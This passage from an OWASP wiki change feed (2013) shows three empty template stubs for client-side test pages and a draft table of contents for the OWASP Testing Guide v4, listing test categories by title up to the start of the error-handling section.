		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=159895</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=159895"/>
				<updated>2013-10-07T19:29:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: created new link to conform with the 4.0 guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
..here: we describe in &amp;quot;natural language&amp;quot; what we want to test.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
...here: Short Description of the Issue: Topic and Explanation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=159894</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=159894"/>
				<updated>2013-10-07T19:29:11Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: created new link to conform with the 4.0 guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
..here: we describe in &amp;quot;natural language&amp;quot; what we want to test.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
...here: Short Description of the Issue: Topic and Explanation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=159890</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=159890"/>
				<updated>2013-10-07T19:28:15Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: created new link to conform with the 4.0 guide&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
..here: we describe in &amp;quot;natural language&amp;quot; what we want to test.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
...here: Short Description of the Issue: Topic and Explanation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=159889</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=159889"/>
				<updated>2013-10-07T19:27:34Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: updated client side section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{OWASP Breakers}}&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]] [Alexander Antukh]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]] [Alexander Antukh]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
